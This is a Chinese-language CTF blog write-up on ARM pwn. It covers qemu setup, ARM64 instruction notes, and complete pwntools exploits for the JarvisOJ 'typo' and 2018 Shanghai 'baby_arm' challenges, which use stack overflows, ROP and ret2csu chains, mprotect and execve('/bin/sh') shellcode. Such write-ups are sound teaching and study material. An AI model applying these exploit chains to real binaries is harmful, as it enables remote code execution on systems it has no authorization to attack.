0%

arm-pwn

arm-pwn

环境配置

静态链接直接安装这个就可以运行了

1
sudo apt-get install qemu-user

动态链接

image-20200412111135643

对应安装

1
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn

指定共享库

具体过程看wiki

javisoj-typo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = ''
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './typo'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(['qemu-arm',"-g", "1234", exe])
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: arm-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8000)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

offset = 112
sla("quit\n", "")
rl()
pop_r0_r4_pc = 0x00020904
bin_sh = 0x0006c384
system_addr = 0x10BA8
payload = "a"*offset + p32(pop_r0_r4_pc) + p32(bin_sh)*2 + p32(system_addr)
sl(payload)
#ga()
'''
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("fgets",leak_addr)
libc_base = leak_addr - obj.dump("fgets")
system_addr = libc_base + obj.dump("system")
malloc_hook = libc_base + obj.dump("__malloc_hook")
free_hook = libc_base + obj.dump("__free_hook")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
'''
ia()

if __name__ == '__main__':
exp(host,)

2018 上海市大学生网络安全大赛 - baby_arm

这里调试出错,

1
2
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
1
2
3
sudo apt-get install software-properties-common
sudo apt-add-repository ppa:pwntools/binutils
sudo apt-get update

同样的方法测出偏移为72

1
2
3
4
5
6
__int64 sub_4007F0()
{
__int64 v1; // [xsp+10h] [xbp+10h]

return read(0LL, &v1, 512LL);
}

真是奇怪,他居然可以设置局部变量为xbp+10h

也就是绕过了canary保护

对于arm64系的CPU来说, 如果寄存器以x开头则表明的是一个64位的寄存器,如果以w开头则表明是一个32位的寄存器,其中32位的寄存器是64位寄存器的低32位部分并不是独立存在的。注意在系统中没有提供16位和8位的寄存器供访问和使用。

在 ARM64 中,函数的返回值保存在 x0寄存器

这里顺便学下arm汇编指令集

1
2
3
4
5
6
7
8
9
10
11
12
13
LDR             X3, [X21,X19,LSL#3] 
MOV X2, X22
MOV X1, X23
MOV W0, W24
ADD X19, X19, #1
BLR X3
CMP X19, X20
B.NE loc_4008AC
LDP X19, X20, [SP,#var_s10]
LDP X21, X22, [SP,#var_s20]
LDP X23, X24, [SP,#var_s30]
LDP X29, X30, [SP+var_s0],#0x40
RET
1
LDR X3,[X21,X19,LSL#3]

就是将X21+X19<<3的值赋给X3,同时修改X21,

1
BLR X3

相当于Call x3

1
2
3
4
—► 0x4008cc        ldp    x19, x20, [sp, #0x10]
0x4008d0 ldp x21, x22, [sp, #0x20]
0x4008d4 ldp x23, x24, [sp, #0x30]
0x4008d8 ldp x29, x30, [sp], #0x40

这个是将 sp+立即数的值赋给寄存器,第一句,两个寄存器就是取[sp+0x10]的值以及[sp+0x18]

真是费了好大的劲,一直不懂返回地址怎么来的

注意:x30寄存器存放的是函数的返回地址,当ret指令执行时刻,会寻找x30寄存器保存的地址值

所以是最后一句

1
ldp x29,x30,[sp],#0x40

这里将sp以及sp+8的值取出来,同时将sp提高0x40,所以csu_init就知道怎么构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def csu_rop(call, x0, x1, x2):
payload = flat([
0x4008cc,
0, #0x0
0x4008ac, #0x8
0, #0x10 x19
1, #0x18 x20 pass the cmp x19,x20
call, #0x20 x21 -- blr x3
x2, #0x28 x22 -- x2
x1, #0x30 x23 -- x1
x0, #0x38 x24 -- x0
0, #align
])
return payload

这里的偏移均是相对于0x4008cc调用过后的

这里还学到了

1
mov x1,x1

可作为滑板,0x1个字节,注意的是,这里是blr x3,这里相当于间接call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
link = '127.0.0.1:10002'
host,port = map(str.strip, link.split(':')) if link != '' else ("",0)
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './pwn'
context.binary = exe
elf = ELF(exe)

#don't forget to change it
if local:
#io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", exe])
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", exe])
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: aarch64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
def csu_rop(call, x0, x1, x2):
payload = flat([
0x4008cc,
0, #0x8
0x4008ac,
0, #0x10 x19
1, #0x18 x20 pass the cmp x19,x20
call, #0x20 x21 -- blr x3
x2, #0x28 x22 -- x2
x1, #0x30 x23 -- x1
x0, #0x38 x24 -- x0
0, #align
])
return payload


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)
offset = 72
shellcode = asm(shellcraft.execve("/bin/sh"))
padding = asm("mov x0,x0")
sa("Name:", padding*0x10 + shellcode)

payload = flat(cyclic(offset), csu_rop(elf.got['read'],0, elf.got['__gmon_start__'], 8))
payload += flat(0x0000000000400824)
s(payload)
s(flat(elf.plt['mprotect']))

sa("Name:", padding * 0x10 + shellcode)
payload = flat([
cyclic(72),
csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7),
0x411068
])
s(payload)
#ga()
'''
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("fgets",leak_addr)
libc_base = leak_addr - obj.dump("fgets")
system_addr = libc_base + obj.dump("system")
malloc_hook = libc_base + obj.dump("__malloc_hook")
free_hook = libc_base + obj.dump("__free_hook")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
'''
ia()

if __name__ == '__main__':
exp(host,)

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/e13b6a2e/
版权声明:转载请注明出处!